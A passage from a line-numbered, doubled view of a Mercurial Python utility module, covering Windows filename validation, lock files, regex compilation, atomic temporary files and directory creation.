1648 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1644 }
1649 }
1645 _winreservedchars = ':*?"<>|'
1650 _winreservedchars = ':*?"<>|'
1646 def checkwinfilename(path):
1651 def checkwinfilename(path):
1647 r'''Check that the base-relative path is a valid filename on Windows.
1652 r'''Check that the base-relative path is a valid filename on Windows.
1648 Returns None if the path is ok, or a UI string describing the problem.
1653 Returns None if the path is ok, or a UI string describing the problem.
1649
1654
1650 >>> checkwinfilename(b"just/a/normal/path")
1655 >>> checkwinfilename(b"just/a/normal/path")
1651 >>> checkwinfilename(b"foo/bar/con.xml")
1656 >>> checkwinfilename(b"foo/bar/con.xml")
1652 "filename contains 'con', which is reserved on Windows"
1657 "filename contains 'con', which is reserved on Windows"
1653 >>> checkwinfilename(b"foo/con.xml/bar")
1658 >>> checkwinfilename(b"foo/con.xml/bar")
1654 "filename contains 'con', which is reserved on Windows"
1659 "filename contains 'con', which is reserved on Windows"
1655 >>> checkwinfilename(b"foo/bar/xml.con")
1660 >>> checkwinfilename(b"foo/bar/xml.con")
1656 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1661 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1657 "filename contains 'AUX', which is reserved on Windows"
1662 "filename contains 'AUX', which is reserved on Windows"
1658 >>> checkwinfilename(b"foo/bar/bla:.txt")
1663 >>> checkwinfilename(b"foo/bar/bla:.txt")
1659 "filename contains ':', which is reserved on Windows"
1664 "filename contains ':', which is reserved on Windows"
1660 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1665 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1661 "filename contains '\\x07', which is invalid on Windows"
1666 "filename contains '\\x07', which is invalid on Windows"
1662 >>> checkwinfilename(b"foo/bar/bla ")
1667 >>> checkwinfilename(b"foo/bar/bla ")
1663 "filename ends with ' ', which is not allowed on Windows"
1668 "filename ends with ' ', which is not allowed on Windows"
1664 >>> checkwinfilename(b"../bar")
1669 >>> checkwinfilename(b"../bar")
1665 >>> checkwinfilename(b"foo\\")
1670 >>> checkwinfilename(b"foo\\")
1666 "filename ends with '\\', which is invalid on Windows"
1671 "filename ends with '\\', which is invalid on Windows"
1667 >>> checkwinfilename(b"foo\\/bar")
1672 >>> checkwinfilename(b"foo\\/bar")
1668 "directory name ends with '\\', which is invalid on Windows"
1673 "directory name ends with '\\', which is invalid on Windows"
1669 '''
1674 '''
1670 if path.endswith('\\'):
1675 if path.endswith('\\'):
1671 return _("filename ends with '\\', which is invalid on Windows")
1676 return _("filename ends with '\\', which is invalid on Windows")
1672 if '\\/' in path:
1677 if '\\/' in path:
1673 return _("directory name ends with '\\', which is invalid on Windows")
1678 return _("directory name ends with '\\', which is invalid on Windows")
1674 for n in path.replace('\\', '/').split('/'):
1679 for n in path.replace('\\', '/').split('/'):
1675 if not n:
1680 if not n:
1676 continue
1681 continue
1677 for c in _filenamebytestr(n):
1682 for c in _filenamebytestr(n):
1678 if c in _winreservedchars:
1683 if c in _winreservedchars:
1679 return _("filename contains '%s', which is reserved "
1684 return _("filename contains '%s', which is reserved "
1680 "on Windows") % c
1685 "on Windows") % c
1681 if ord(c) <= 31:
1686 if ord(c) <= 31:
1682 return _("filename contains '%s', which is invalid "
1687 return _("filename contains '%s', which is invalid "
1683 "on Windows") % stringutil.escapestr(c)
1688 "on Windows") % stringutil.escapestr(c)
1684 base = n.split('.')[0]
1689 base = n.split('.')[0]
1685 if base and base.lower() in _winreservednames:
1690 if base and base.lower() in _winreservednames:
1686 return _("filename contains '%s', which is reserved "
1691 return _("filename contains '%s', which is reserved "
1687 "on Windows") % base
1692 "on Windows") % base
1688 t = n[-1:]
1693 t = n[-1:]
1689 if t in '. ' and n not in '..':
1694 if t in '. ' and n not in '..':
1690 return _("filename ends with '%s', which is not allowed "
1695 return _("filename ends with '%s', which is not allowed "
1691 "on Windows") % t
1696 "on Windows") % t
1692
1697
1693 if pycompat.iswindows:
1698 if pycompat.iswindows:
1694 checkosfilename = checkwinfilename
1699 checkosfilename = checkwinfilename
1695 timer = time.clock
1700 timer = time.clock
1696 else:
1701 else:
1697 checkosfilename = platform.checkosfilename
1702 checkosfilename = platform.checkosfilename
1698 timer = time.time
1703 timer = time.time
1699
1704
1700 if safehasattr(time, "perf_counter"):
1705 if safehasattr(time, "perf_counter"):
1701 timer = time.perf_counter
1706 timer = time.perf_counter
1702
1707
1703 def makelock(info, pathname):
1708 def makelock(info, pathname):
1704 """Create a lock file atomically if possible
1709 """Create a lock file atomically if possible
1705
1710
1706 This may leave a stale lock file if symlink isn't supported and signal
1711 This may leave a stale lock file if symlink isn't supported and signal
1707 interrupt is enabled.
1712 interrupt is enabled.
1708 """
1713 """
1709 try:
1714 try:
1710 return os.symlink(info, pathname)
1715 return os.symlink(info, pathname)
1711 except OSError as why:
1716 except OSError as why:
1712 if why.errno == errno.EEXIST:
1717 if why.errno == errno.EEXIST:
1713 raise
1718 raise
1714 except AttributeError: # no symlink in os
1719 except AttributeError: # no symlink in os
1715 pass
1720 pass
1716
1721
1717 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1722 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1718 ld = os.open(pathname, flags)
1723 ld = os.open(pathname, flags)
1719 os.write(ld, info)
1724 os.write(ld, info)
1720 os.close(ld)
1725 os.close(ld)
1721
1726
1722 def readlock(pathname):
1727 def readlock(pathname):
1723 try:
1728 try:
1724 return os.readlink(pathname)
1729 return os.readlink(pathname)
1725 except OSError as why:
1730 except OSError as why:
1726 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1731 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1727 raise
1732 raise
1728 except AttributeError: # no symlink in os
1733 except AttributeError: # no symlink in os
1729 pass
1734 pass
1730 fp = posixfile(pathname, 'rb')
1735 fp = posixfile(pathname, 'rb')
1731 r = fp.read()
1736 r = fp.read()
1732 fp.close()
1737 fp.close()
1733 return r
1738 return r
1734
1739
1735 def fstat(fp):
1740 def fstat(fp):
1736 '''stat file object that may not have fileno method.'''
1741 '''stat file object that may not have fileno method.'''
1737 try:
1742 try:
1738 return os.fstat(fp.fileno())
1743 return os.fstat(fp.fileno())
1739 except AttributeError:
1744 except AttributeError:
1740 return os.stat(fp.name)
1745 return os.stat(fp.name)
1741
1746
1742 # File system features
1747 # File system features
1743
1748
1744 def fscasesensitive(path):
1749 def fscasesensitive(path):
1745 """
1750 """
1746 Return true if the given path is on a case-sensitive filesystem
1751 Return true if the given path is on a case-sensitive filesystem
1747
1752
1748 Requires a path (like /foo/.hg) ending with a foldable final
1753 Requires a path (like /foo/.hg) ending with a foldable final
1749 directory component.
1754 directory component.
1750 """
1755 """
1751 s1 = os.lstat(path)
1756 s1 = os.lstat(path)
1752 d, b = os.path.split(path)
1757 d, b = os.path.split(path)
1753 b2 = b.upper()
1758 b2 = b.upper()
1754 if b == b2:
1759 if b == b2:
1755 b2 = b.lower()
1760 b2 = b.lower()
1756 if b == b2:
1761 if b == b2:
1757 return True # no evidence against case sensitivity
1762 return True # no evidence against case sensitivity
1758 p2 = os.path.join(d, b2)
1763 p2 = os.path.join(d, b2)
1759 try:
1764 try:
1760 s2 = os.lstat(p2)
1765 s2 = os.lstat(p2)
1761 if s2 == s1:
1766 if s2 == s1:
1762 return False
1767 return False
1763 return True
1768 return True
1764 except OSError:
1769 except OSError:
1765 return True
1770 return True
1766
1771
1767 try:
1772 try:
1768 import re2
1773 import re2
1769 _re2 = None
1774 _re2 = None
1770 except ImportError:
1775 except ImportError:
1771 _re2 = False
1776 _re2 = False
1772
1777
1773 class _re(object):
1778 class _re(object):
1774 def _checkre2(self):
1779 def _checkre2(self):
1775 global _re2
1780 global _re2
1776 try:
1781 try:
1777 # check if match works, see issue3964
1782 # check if match works, see issue3964
1778 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1783 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1779 except ImportError:
1784 except ImportError:
1780 _re2 = False
1785 _re2 = False
1781
1786
1782 def compile(self, pat, flags=0):
1787 def compile(self, pat, flags=0):
1783 '''Compile a regular expression, using re2 if possible
1788 '''Compile a regular expression, using re2 if possible
1784
1789
1785 For best performance, use only re2-compatible regexp features. The
1790 For best performance, use only re2-compatible regexp features. The
1786 only flags from the re module that are re2-compatible are
1791 only flags from the re module that are re2-compatible are
1787 IGNORECASE and MULTILINE.'''
1792 IGNORECASE and MULTILINE.'''
1788 if _re2 is None:
1793 if _re2 is None:
1789 self._checkre2()
1794 self._checkre2()
1790 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1795 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1791 if flags & remod.IGNORECASE:
1796 if flags & remod.IGNORECASE:
1792 pat = '(?i)' + pat
1797 pat = '(?i)' + pat
1793 if flags & remod.MULTILINE:
1798 if flags & remod.MULTILINE:
1794 pat = '(?m)' + pat
1799 pat = '(?m)' + pat
1795 try:
1800 try:
1796 return re2.compile(pat)
1801 return re2.compile(pat)
1797 except re2.error:
1802 except re2.error:
1798 pass
1803 pass
1799 return remod.compile(pat, flags)
1804 return remod.compile(pat, flags)
1800
1805
1801 @propertycache
1806 @propertycache
1802 def escape(self):
1807 def escape(self):
1803 '''Return the version of escape corresponding to self.compile.
1808 '''Return the version of escape corresponding to self.compile.
1804
1809
1805 This is imperfect because whether re2 or re is used for a particular
1810 This is imperfect because whether re2 or re is used for a particular
1806 function depends on the flags, etc, but it's the best we can do.
1811 function depends on the flags, etc, but it's the best we can do.
1807 '''
1812 '''
1808 global _re2
1813 global _re2
1809 if _re2 is None:
1814 if _re2 is None:
1810 self._checkre2()
1815 self._checkre2()
1811 if _re2:
1816 if _re2:
1812 return re2.escape
1817 return re2.escape
1813 else:
1818 else:
1814 return remod.escape
1819 return remod.escape
1815
1820
1816 re = _re()
1821 re = _re()
1817
1822
1818 _fspathcache = {}
1823 _fspathcache = {}
1819 def fspath(name, root):
1824 def fspath(name, root):
1820 '''Get name in the case stored in the filesystem
1825 '''Get name in the case stored in the filesystem
1821
1826
1822 The name should be relative to root, and be normcase-ed for efficiency.
1827 The name should be relative to root, and be normcase-ed for efficiency.
1823
1828
1824 Note that this function is unnecessary, and should not be
1829 Note that this function is unnecessary, and should not be
1825 called, for case-sensitive filesystems (simply because it's expensive).
1830 called, for case-sensitive filesystems (simply because it's expensive).
1826
1831
1827 The root should be normcase-ed, too.
1832 The root should be normcase-ed, too.
1828 '''
1833 '''
1829 def _makefspathcacheentry(dir):
1834 def _makefspathcacheentry(dir):
1830 return dict((normcase(n), n) for n in os.listdir(dir))
1835 return dict((normcase(n), n) for n in os.listdir(dir))
1831
1836
1832 seps = pycompat.ossep
1837 seps = pycompat.ossep
1833 if pycompat.osaltsep:
1838 if pycompat.osaltsep:
1834 seps = seps + pycompat.osaltsep
1839 seps = seps + pycompat.osaltsep
1835 # Protect backslashes. This gets silly very quickly.
1840 # Protect backslashes. This gets silly very quickly.
1836 seps.replace('\\','\\\\')
1841 seps.replace('\\','\\\\')
1837 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1842 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1838 dir = os.path.normpath(root)
1843 dir = os.path.normpath(root)
1839 result = []
1844 result = []
1840 for part, sep in pattern.findall(name):
1845 for part, sep in pattern.findall(name):
1841 if sep:
1846 if sep:
1842 result.append(sep)
1847 result.append(sep)
1843 continue
1848 continue
1844
1849
1845 if dir not in _fspathcache:
1850 if dir not in _fspathcache:
1846 _fspathcache[dir] = _makefspathcacheentry(dir)
1851 _fspathcache[dir] = _makefspathcacheentry(dir)
1847 contents = _fspathcache[dir]
1852 contents = _fspathcache[dir]
1848
1853
1849 found = contents.get(part)
1854 found = contents.get(part)
1850 if not found:
1855 if not found:
1851 # retry "once per directory" per "dirstate.walk" which
1856 # retry "once per directory" per "dirstate.walk" which
1852 # may take place for each patches of "hg qpush", for example
1857 # may take place for each patches of "hg qpush", for example
1853 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1858 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1854 found = contents.get(part)
1859 found = contents.get(part)
1855
1860
1856 result.append(found or part)
1861 result.append(found or part)
1857 dir = os.path.join(dir, part)
1862 dir = os.path.join(dir, part)
1858
1863
1859 return ''.join(result)
1864 return ''.join(result)
1860
1865
1861 def checknlink(testfile):
1866 def checknlink(testfile):
1862 '''check whether hardlink count reporting works properly'''
1867 '''check whether hardlink count reporting works properly'''
1863
1868
1864 # testfile may be open, so we need a separate file for checking to
1869 # testfile may be open, so we need a separate file for checking to
1865 # work around issue2543 (or testfile may get lost on Samba shares)
1870 # work around issue2543 (or testfile may get lost on Samba shares)
1866 f1, f2, fp = None, None, None
1871 f1, f2, fp = None, None, None
1867 try:
1872 try:
1868 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1873 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1869 suffix='1~', dir=os.path.dirname(testfile))
1874 suffix='1~', dir=os.path.dirname(testfile))
1870 os.close(fd)
1875 os.close(fd)
1871 f2 = '%s2~' % f1[:-2]
1876 f2 = '%s2~' % f1[:-2]
1872
1877
1873 oslink(f1, f2)
1878 oslink(f1, f2)
1874 # nlinks() may behave differently for files on Windows shares if
1879 # nlinks() may behave differently for files on Windows shares if
1875 # the file is open.
1880 # the file is open.
1876 fp = posixfile(f2)
1881 fp = posixfile(f2)
1877 return nlinks(f2) > 1
1882 return nlinks(f2) > 1
1878 except OSError:
1883 except OSError:
1879 return False
1884 return False
1880 finally:
1885 finally:
1881 if fp is not None:
1886 if fp is not None:
1882 fp.close()
1887 fp.close()
1883 for f in (f1, f2):
1888 for f in (f1, f2):
1884 try:
1889 try:
1885 if f is not None:
1890 if f is not None:
1886 os.unlink(f)
1891 os.unlink(f)
1887 except OSError:
1892 except OSError:
1888 pass
1893 pass
1889
1894
1890 def endswithsep(path):
1895 def endswithsep(path):
1891 '''Check path ends with os.sep or os.altsep.'''
1896 '''Check path ends with os.sep or os.altsep.'''
1892 return (path.endswith(pycompat.ossep)
1897 return (path.endswith(pycompat.ossep)
1893 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1898 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1894
1899
1895 def splitpath(path):
1900 def splitpath(path):
1896 '''Split path by os.sep.
1901 '''Split path by os.sep.
1897 Note that this function does not use os.altsep because this is
1902 Note that this function does not use os.altsep because this is
1898 an alternative of simple "xxx.split(os.sep)".
1903 an alternative of simple "xxx.split(os.sep)".
1899 It is recommended to use os.path.normpath() before using this
1904 It is recommended to use os.path.normpath() before using this
1900 function if need.'''
1905 function if need.'''
1901 return path.split(pycompat.ossep)
1906 return path.split(pycompat.ossep)
1902
1907
1903 def mktempcopy(name, emptyok=False, createmode=None):
1908 def mktempcopy(name, emptyok=False, createmode=None):
1904 """Create a temporary file with the same contents from name
1909 """Create a temporary file with the same contents from name
1905
1910
1906 The permission bits are copied from the original file.
1911 The permission bits are copied from the original file.
1907
1912
1908 If the temporary file is going to be truncated immediately, you
1913 If the temporary file is going to be truncated immediately, you
1909 can use emptyok=True as an optimization.
1914 can use emptyok=True as an optimization.
1910
1915
1911 Returns the name of the temporary file.
1916 Returns the name of the temporary file.
1912 """
1917 """
1913 d, fn = os.path.split(name)
1918 d, fn = os.path.split(name)
1914 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1919 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1915 os.close(fd)
1920 os.close(fd)
1916 # Temporary files are created with mode 0600, which is usually not
1921 # Temporary files are created with mode 0600, which is usually not
1917 # what we want. If the original file already exists, just copy
1922 # what we want. If the original file already exists, just copy
1918 # its mode. Otherwise, manually obey umask.
1923 # its mode. Otherwise, manually obey umask.
1919 copymode(name, temp, createmode)
1924 copymode(name, temp, createmode)
1920 if emptyok:
1925 if emptyok:
1921 return temp
1926 return temp
1922 try:
1927 try:
1923 try:
1928 try:
1924 ifp = posixfile(name, "rb")
1929 ifp = posixfile(name, "rb")
1925 except IOError as inst:
1930 except IOError as inst:
1926 if inst.errno == errno.ENOENT:
1931 if inst.errno == errno.ENOENT:
1927 return temp
1932 return temp
1928 if not getattr(inst, 'filename', None):
1933 if not getattr(inst, 'filename', None):
1929 inst.filename = name
1934 inst.filename = name
1930 raise
1935 raise
1931 ofp = posixfile(temp, "wb")
1936 ofp = posixfile(temp, "wb")
1932 for chunk in filechunkiter(ifp):
1937 for chunk in filechunkiter(ifp):
1933 ofp.write(chunk)
1938 ofp.write(chunk)
1934 ifp.close()
1939 ifp.close()
1935 ofp.close()
1940 ofp.close()
1936 except: # re-raises
1941 except: # re-raises
1937 try:
1942 try:
1938 os.unlink(temp)
1943 os.unlink(temp)
1939 except OSError:
1944 except OSError:
1940 pass
1945 pass
1941 raise
1946 raise
1942 return temp
1947 return temp
1943
1948
1944 class filestat(object):
1949 class filestat(object):
1945 """help to exactly detect change of a file
1950 """help to exactly detect change of a file
1946
1951
1947 'stat' attribute is result of 'os.stat()' if specified 'path'
1952 'stat' attribute is result of 'os.stat()' if specified 'path'
1948 exists. Otherwise, it is None. This can avoid preparative
1953 exists. Otherwise, it is None. This can avoid preparative
1949 'exists()' examination on client side of this class.
1954 'exists()' examination on client side of this class.
1950 """
1955 """
1951 def __init__(self, stat):
1956 def __init__(self, stat):
1952 self.stat = stat
1957 self.stat = stat
1953
1958
1954 @classmethod
1959 @classmethod
1955 def frompath(cls, path):
1960 def frompath(cls, path):
1956 try:
1961 try:
1957 stat = os.stat(path)
1962 stat = os.stat(path)
1958 except OSError as err:
1963 except OSError as err:
1959 if err.errno != errno.ENOENT:
1964 if err.errno != errno.ENOENT:
1960 raise
1965 raise
1961 stat = None
1966 stat = None
1962 return cls(stat)
1967 return cls(stat)
1963
1968
1964 @classmethod
1969 @classmethod
1965 def fromfp(cls, fp):
1970 def fromfp(cls, fp):
1966 stat = os.fstat(fp.fileno())
1971 stat = os.fstat(fp.fileno())
1967 return cls(stat)
1972 return cls(stat)
1968
1973
1969 __hash__ = object.__hash__
1974 __hash__ = object.__hash__
1970
1975
1971 def __eq__(self, old):
1976 def __eq__(self, old):
1972 try:
1977 try:
1973 # if ambiguity between stat of new and old file is
1978 # if ambiguity between stat of new and old file is
1974 # avoided, comparison of size, ctime and mtime is enough
1979 # avoided, comparison of size, ctime and mtime is enough
1975 # to exactly detect change of a file regardless of platform
1980 # to exactly detect change of a file regardless of platform
1976 return (self.stat.st_size == old.stat.st_size and
1981 return (self.stat.st_size == old.stat.st_size and
1977 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1982 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1978 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1983 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1979 except AttributeError:
1984 except AttributeError:
1980 pass
1985 pass
1981 try:
1986 try:
1982 return self.stat is None and old.stat is None
1987 return self.stat is None and old.stat is None
1983 except AttributeError:
1988 except AttributeError:
1984 return False
1989 return False
1985
1990
1986 def isambig(self, old):
1991 def isambig(self, old):
1987 """Examine whether new (= self) stat is ambiguous against old one
1992 """Examine whether new (= self) stat is ambiguous against old one
1988
1993
1989 "S[N]" below means stat of a file at N-th change:
1994 "S[N]" below means stat of a file at N-th change:
1990
1995
1991 - S[n-1].ctime < S[n].ctime: can detect change of a file
1996 - S[n-1].ctime < S[n].ctime: can detect change of a file
1992 - S[n-1].ctime == S[n].ctime
1997 - S[n-1].ctime == S[n].ctime
1993 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1998 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1994 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1999 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1995 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2000 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1996 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2001 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1997
2002
1998 Case (*2) above means that a file was changed twice or more at
2003 Case (*2) above means that a file was changed twice or more at
1999 same time in sec (= S[n-1].ctime), and comparison of timestamp
2004 same time in sec (= S[n-1].ctime), and comparison of timestamp
2000 is ambiguous.
2005 is ambiguous.
2001
2006
2002 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2007 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2003 timestamp is ambiguous".
2008 timestamp is ambiguous".
2004
2009
2005 But advancing mtime only in case (*2) doesn't work as
2010 But advancing mtime only in case (*2) doesn't work as
2006 expected, because naturally advanced S[n].mtime in case (*1)
2011 expected, because naturally advanced S[n].mtime in case (*1)
2007 might be equal to manually advanced S[n-1 or earlier].mtime.
2012 might be equal to manually advanced S[n-1 or earlier].mtime.
2008
2013
2009 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2014 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2010 treated as ambiguous regardless of mtime, to avoid overlooking
2015 treated as ambiguous regardless of mtime, to avoid overlooking
2011 by confliction between such mtime.
2016 by confliction between such mtime.
2012
2017
2013 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2018 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2014 S[n].mtime", even if size of a file isn't changed.
2019 S[n].mtime", even if size of a file isn't changed.
2015 """
2020 """
2016 try:
2021 try:
2017 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2022 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2018 except AttributeError:
2023 except AttributeError:
2019 return False
2024 return False
2020
2025
2021 def avoidambig(self, path, old):
2026 def avoidambig(self, path, old):
2022 """Change file stat of specified path to avoid ambiguity
2027 """Change file stat of specified path to avoid ambiguity
2023
2028
2024 'old' should be previous filestat of 'path'.
2029 'old' should be previous filestat of 'path'.
2025
2030
2026 This skips avoiding ambiguity, if a process doesn't have
2031 This skips avoiding ambiguity, if a process doesn't have
2027 appropriate privileges for 'path'. This returns False in this
2032 appropriate privileges for 'path'. This returns False in this
2028 case.
2033 case.
2029
2034
2030 Otherwise, this returns True, as "ambiguity is avoided".
2035 Otherwise, this returns True, as "ambiguity is avoided".
2031 """
2036 """
2032 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2037 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2033 try:
2038 try:
2034 os.utime(path, (advanced, advanced))
2039 os.utime(path, (advanced, advanced))
2035 except OSError as inst:
2040 except OSError as inst:
2036 if inst.errno == errno.EPERM:
2041 if inst.errno == errno.EPERM:
2037 # utime() on the file created by another user causes EPERM,
2042 # utime() on the file created by another user causes EPERM,
2038 # if a process doesn't have appropriate privileges
2043 # if a process doesn't have appropriate privileges
2039 return False
2044 return False
2040 raise
2045 raise
2041 return True
2046 return True
2042
2047
2043 def __ne__(self, other):
2048 def __ne__(self, other):
2044 return not self == other
2049 return not self == other
2045
2050
2046 class atomictempfile(object):
2051 class atomictempfile(object):
2047 '''writable file object that atomically updates a file
2052 '''writable file object that atomically updates a file
2048
2053
2049 All writes will go to a temporary copy of the original file. Call
2054 All writes will go to a temporary copy of the original file. Call
2050 close() when you are done writing, and atomictempfile will rename
2055 close() when you are done writing, and atomictempfile will rename
2051 the temporary copy to the original name, making the changes
2056 the temporary copy to the original name, making the changes
2052 visible. If the object is destroyed without being closed, all your
2057 visible. If the object is destroyed without being closed, all your
2053 writes are discarded.
2058 writes are discarded.
2054
2059
2055 checkambig argument of constructor is used with filestat, and is
2060 checkambig argument of constructor is used with filestat, and is
2056 useful only if target file is guarded by any lock (e.g. repo.lock
2061 useful only if target file is guarded by any lock (e.g. repo.lock
2057 or repo.wlock).
2062 or repo.wlock).
2058 '''
2063 '''
2059 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2064 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2060 self.__name = name # permanent name
2065 self.__name = name # permanent name
2061 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2066 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2062 createmode=createmode)
2067 createmode=createmode)
2063 self._fp = posixfile(self._tempname, mode)
2068 self._fp = posixfile(self._tempname, mode)
2064 self._checkambig = checkambig
2069 self._checkambig = checkambig
2065
2070
2066 # delegated methods
2071 # delegated methods
2067 self.read = self._fp.read
2072 self.read = self._fp.read
2068 self.write = self._fp.write
2073 self.write = self._fp.write
2069 self.seek = self._fp.seek
2074 self.seek = self._fp.seek
2070 self.tell = self._fp.tell
2075 self.tell = self._fp.tell
2071 self.fileno = self._fp.fileno
2076 self.fileno = self._fp.fileno
2072
2077
2073 def close(self):
2078 def close(self):
2074 if not self._fp.closed:
2079 if not self._fp.closed:
2075 self._fp.close()
2080 self._fp.close()
2076 filename = localpath(self.__name)
2081 filename = localpath(self.__name)
2077 oldstat = self._checkambig and filestat.frompath(filename)
2082 oldstat = self._checkambig and filestat.frompath(filename)
2078 if oldstat and oldstat.stat:
2083 if oldstat and oldstat.stat:
2079 rename(self._tempname, filename)
2084 rename(self._tempname, filename)
2080 newstat = filestat.frompath(filename)
2085 newstat = filestat.frompath(filename)
2081 if newstat.isambig(oldstat):
2086 if newstat.isambig(oldstat):
2082 # stat of changed file is ambiguous to original one
2087 # stat of changed file is ambiguous to original one
2083 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2088 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2084 os.utime(filename, (advanced, advanced))
2089 os.utime(filename, (advanced, advanced))
2085 else:
2090 else:
2086 rename(self._tempname, filename)
2091 rename(self._tempname, filename)
2087
2092
2088 def discard(self):
2093 def discard(self):
2089 if not self._fp.closed:
2094 if not self._fp.closed:
2090 try:
2095 try:
2091 os.unlink(self._tempname)
2096 os.unlink(self._tempname)
2092 except OSError:
2097 except OSError:
2093 pass
2098 pass
2094 self._fp.close()
2099 self._fp.close()
2095
2100
2096 def __del__(self):
2101 def __del__(self):
2097 if safehasattr(self, '_fp'): # constructor actually did something
2102 if safehasattr(self, '_fp'): # constructor actually did something
2098 self.discard()
2103 self.discard()
2099
2104
2100 def __enter__(self):
2105 def __enter__(self):
2101 return self
2106 return self
2102
2107
2103 def __exit__(self, exctype, excvalue, traceback):
2108 def __exit__(self, exctype, excvalue, traceback):
2104 if exctype is not None:
2109 if exctype is not None:
2105 self.discard()
2110 self.discard()
2106 else:
2111 else:
2107 self.close()
2112 self.close()
2108
2113
2109 def unlinkpath(f, ignoremissing=False, rmdir=True):
2114 def unlinkpath(f, ignoremissing=False, rmdir=True):
2110 """unlink and remove the directory if it is empty"""
2115 """unlink and remove the directory if it is empty"""
2111 if ignoremissing:
2116 if ignoremissing:
2112 tryunlink(f)
2117 tryunlink(f)
2113 else:
2118 else:
2114 unlink(f)
2119 unlink(f)
2115 if rmdir:
2120 if rmdir:
2116 # try removing directories that might now be empty
2121 # try removing directories that might now be empty
2117 try:
2122 try:
2118 removedirs(os.path.dirname(f))
2123 removedirs(os.path.dirname(f))
2119 except OSError:
2124 except OSError:
2120 pass
2125 pass
2121
2126
2122 def tryunlink(f):
2127 def tryunlink(f):
2123 """Attempt to remove a file, ignoring ENOENT errors."""
2128 """Attempt to remove a file, ignoring ENOENT errors."""
2124 try:
2129 try:
2125 unlink(f)
2130 unlink(f)
2126 except OSError as e:
2131 except OSError as e:
2127 if e.errno != errno.ENOENT:
2132 if e.errno != errno.ENOENT:
2128 raise
2133 raise
2129
2134
2130 def makedirs(name, mode=None, notindexed=False):
2135 def makedirs(name, mode=None, notindexed=False):
2131 """recursive directory creation with parent mode inheritance
2136 """recursive directory creation with parent mode inheritance
2132
2137
2133 Newly created directories are marked as "not to be indexed by
2138 Newly created directories are marked as "not to be indexed by
2134 the content indexing service", if ``notindexed`` is specified
2139 the content indexing service", if ``notindexed`` is specified
2135 for "write" mode access.
2140 for "write" mode access.
2136 """
2141 """
2137 try:
2142 try:
2138 makedir(name, notindexed)
2143 makedir(name, notindexed)
2139 except OSError as err:
2144 except OSError as err:
2140 if err.errno == errno.EEXIST:
2145 if err.errno == errno.EEXIST:
2141 return
2146 return
2142 if err.errno != errno.ENOENT or not name:
2147 if err.errno != errno.ENOENT or not name:
2143 raise
2148 raise
2144 parent = os.path.dirname(os.path.abspath(name))
2149 parent = os.path.dirname(os.path.abspath(name))
2145 if parent == name:
2150 if parent == name:
2146 raise
2151 raise
2147 makedirs(parent, mode, notindexed)
2152 makedirs(parent, mode, notindexed)
2148 try:
2153 try:
2149 makedir(name, notindexed)
2154 makedir(name, notindexed)
2150 except OSError as err:
2155 except OSError as err:
2151 # Catch EEXIST to handle races
2156 # Catch EEXIST to handle races
2152 if err.errno == errno.EEXIST:
2157 if err.errno == errno.EEXIST:
2153 return
2158 return
2154 raise
2159 raise
2155 if mode is not None:
2160 if mode is not None:
2156 os.chmod(name, mode)
2161 os.chmod(name, mode)
2157
2162
2158 def readfile(path):
2163 def readfile(path):
2159 with open(path, 'rb') as fp:
2164 with open(path, 'rb') as fp:
2160 return fp.read()
2165 return fp.read()
2161
2166
2162 def writefile(path, text):
2167 def writefile(path, text):
2163 with open(path, 'wb') as fp:
2168 with open(path, 'wb') as fp:
